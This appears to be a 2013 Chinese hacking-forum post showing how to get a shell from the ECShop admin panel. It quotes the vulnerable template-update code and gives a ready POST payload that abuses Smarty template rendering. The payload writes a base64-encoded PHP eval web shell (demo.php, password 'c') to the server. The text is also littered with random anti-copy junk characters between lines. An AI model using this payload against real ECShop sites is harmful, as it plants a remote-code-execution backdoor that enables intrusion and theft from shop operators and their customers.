找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2528|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
6 i# J2 G- \. W4 P# J1 n- Y, S
- L  c% F9 {! K5 g6 h而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' z; b( \/ }: D, Z; M2 h
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
  R( G+ `$ i; `5 `3 dadmin/template.php
$ u6 D2 a6 m  g* f/ {) R
1 M. @0 w6 S7 o; d/ S" ^$ r1 if ($_REQUEST['act'] == 'update_library') * R& V; N9 W4 |& ?
  S! r0 g; u; Q9 s
2   
9 t3 w4 R* B0 D5 @3 q! o8 w% B! N$ k$ y/ O0 U
3 {
" z2 y7 Z' D: T) u+ s" {1 ?4 N! |0 e% W
4     check_authz_json('library_manage');
( |- s$ {* W% T  @8 I: |' Z$ Q- P# \, J5 K
5   . K# @" Y8 [! y& F4 H. j

9 y/ e9 \+ M5 v: z8 S+ Z6     $html = stripslashes(json_str_iconv($_POST['html'])); ; Q! T! e: x- I- X4 y

2 T% T4 V* S  O7 S" p7   
( |+ p$ C( x1 p# ^# {$ h5 q4 S+ E/ Y
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 5 {% E8 s' [6 h. Y" F
) I7 x5 y% S; }# y1 ^
9   
4 k# A# J: [; |% R: d% o4 o6 ?2 @
6 w2 T+ k: {, a7 K' T3 w' {6 K10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 7 A$ }% [/ C2 X
' z, W) j1 n! |% |# u
11   
5 U" o( Q- x% B9 |( G' _" m" o- V2 Y* W6 b5 t
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); , {1 v# f9 |) }
" {1 D2 u  A& |
13   2 y0 u8 B# c( e

% I0 c: @$ S$ ~, [) M1 Q14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
4 m4 ^; _8 V4 g1 a; \+ O7 D/ T8 h1 P1 E% o
15     { 4 f9 x- d( ~' ?- ]/ l
: Y* q: o1 Y7 w2 E, C0 I8 o
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
7 c, l3 }" K" W% u' n) D$ }3 w% b+ s/ R8 l8 h
17         make_json_result('', $_LANG['update_lib_success']); ' v1 t$ w( d' h5 _1 ]9 E& r
) e! R- ^' ?+ c( H: x
18     } + U; O* S: y. N' T

6 z. N! t, S2 @! o/ \5 J( g19     else
8 L% \* Y; u4 {) u1 Q
' q- \. T- R! B: w20     {
- R' \" [; H: f9 ^1 }
8 Q. B2 ~* e! Z! E! m; S" W* _21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
. f- [' a# T8 V# {( M
/ v8 l/ T8 m' n8 z# \4 P+ X. g22     }
$ @- u4 z5 V3 h* l" X" Y7 i
9 y& w1 f6 g5 h6 }- j( M23 }
' u. v7 C! g! L4 x) l- b. o  I$ x5 ]% O+ v. |
那么找个比较方便调用了模板的文件
" x4 E& P( @/ ?' R/ d/ Nindex.php
1 E8 F& b! c' m6 W( c
" o$ [: W9 z  [6 s1 if ($act == 'cat_rec') ' p( m8 y7 W8 a
3 g( a+ X' X9 e% i/ ?1 \
2   
1 m* K% f+ V8 j; s
9 H7 @: l$ Z3 x) b2 Q  P9 M% m4 p3 { ! G0 G$ Q. l# i( U
- N, P7 L# Y$ R
4   ) C- H! j& ?! s" E# W7 K- C
5 G5 M6 W9 ?5 x# s$ V# h
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& u" _" Y4 a" t) |6 d
2 e& [) c) |/ W' o- I. b* V0 k$ ?; \+ g6   
7 l' b, ?) i4 L: b7 P2 |& I' E4 a4 U; h( t0 D$ V  q. c& e
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ z, t9 l; L. ?& |2 u0 B7 L' o
3 k8 Z0 Q/ I) \0 |% V8   
0 Z9 ^/ q( O, P( L5 T- @2 U5 s; {' ^: v2 y" n5 Y: M7 u9 G
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; + O# J9 l( c) _9 C6 [0 Q
' S1 l: V% R6 x
10   4 J% N: z5 R0 r5 C. v" B

5 x, B% V7 W: D" i3 C  b* G11     include_once('includes/cls_json.php');
6 T. n! I0 l0 m2 S
) E0 b5 j, B" @) X# X, t12   ! F" C. A: a& c1 I9 y' T
. ?- X0 {$ |. u, L2 l1 h# O- n
13     $json = new JSON; ) x6 H, o' C) ?: `& X% [$ P

- J% e8 [0 P9 ]; p0 T) j5 G14   / H: n3 D4 h9 I1 k! b3 y  `

0 L- c3 D; l( f/ m+ f6 Z+ [9 B15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
& \* u2 S4 O+ y; j& ^/ O* W5 n* X+ Z0 t
16   
# I7 f* v4 l; e; ^/ Z" k; i& L9 g* C: D) U" b, e
17     $children = get_children($cat_id); 9 L8 f( |1 H2 l: |: F0 ]

: s; `$ c8 }* d9 g. W18   
* n( Z( e! f! ?  B3 O
) |3 K$ o3 d9 Y& z( B' L5 Y19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品   b3 `; |' y: g( g" Z; N- |; V

6 [2 V4 }% n( F* `6 i0 t4 |3 G20   
& t5 K% L; t6 C0 t& v! G% n6 H; k% {4 G' |9 d" Q$ t3 a, J0 k
21     $smarty->assign('cat_rec_sign', 1);
6 F! N2 o0 [: g" u" n
( a6 W% t8 A# L  z' }' E8 K; Z22   - W* x$ f% B' H5 i

. O! c/ o; U  l5 y& J3 m23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) c" ~9 T# |- d0 f$ D9 ^# L9 x5 D0 J( F9 p: \! ?
24   
7 N) Y& k, B$ Y# ]- K# w& g1 {1 @9 ^- N$ O4 C  }2 C1 L' H
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
1 W: Q/ I4 P1 d2 s( M( N
( Z  m4 ]: t$ v4 O  l9 `, B( g26   8 L# S8 O9 K# w0 O# X" b; E- i, ?

$ o2 O( b& b2 f, F27         echo $rec_array[$rec_type];
6 I" V9 H. g* s, c
- \+ q; g3 f8 [, y, O+ p6 O28   
# s9 Q  ~8 l1 Q! \! i$ G( d* a6 l2 C; P3 t* B  h0 r( i+ H% I
29     die($json->encode($result));
1 H% X( W7 ^9 e4 O& z+ m1 {* B) @  a# V2 K4 d# m
30   6 E, _. W, T2 ~3 l7 V" d

/ ?' P5 B6 Q' x31 } + y9 x/ J1 l2 c6 `- e* m

( D$ P1 _- [. V那么就有利用方法了& g5 m/ j" D% G* e4 w( [
post包到http://localhost/ec/admin/template.php?act=update_library: Z2 M% `( K+ h  b( I+ D
Post内容:
: ]. ?, |' p2 ]( l, r- p& E+ h" u+ G+ B) K3 E( k" M
/ Y0 w; R/ q& N, ]( c
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
/ Z5 H$ K' B8 R$ z( f2 E$ D9 ], v2 [3 G
然后访问http://localhost/ec/index.php?act=cat_rec
( \# r  J* q9 Q) j6 n! m+ Z; Z* P- l. F( `+ M9 e
shel地址:http://localhost/ec/demo.php
( l7 W! c0 n: A3 z密码c
. [& A! |' {1 y( s8 S* }9 t  k/ f3 X  b8 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表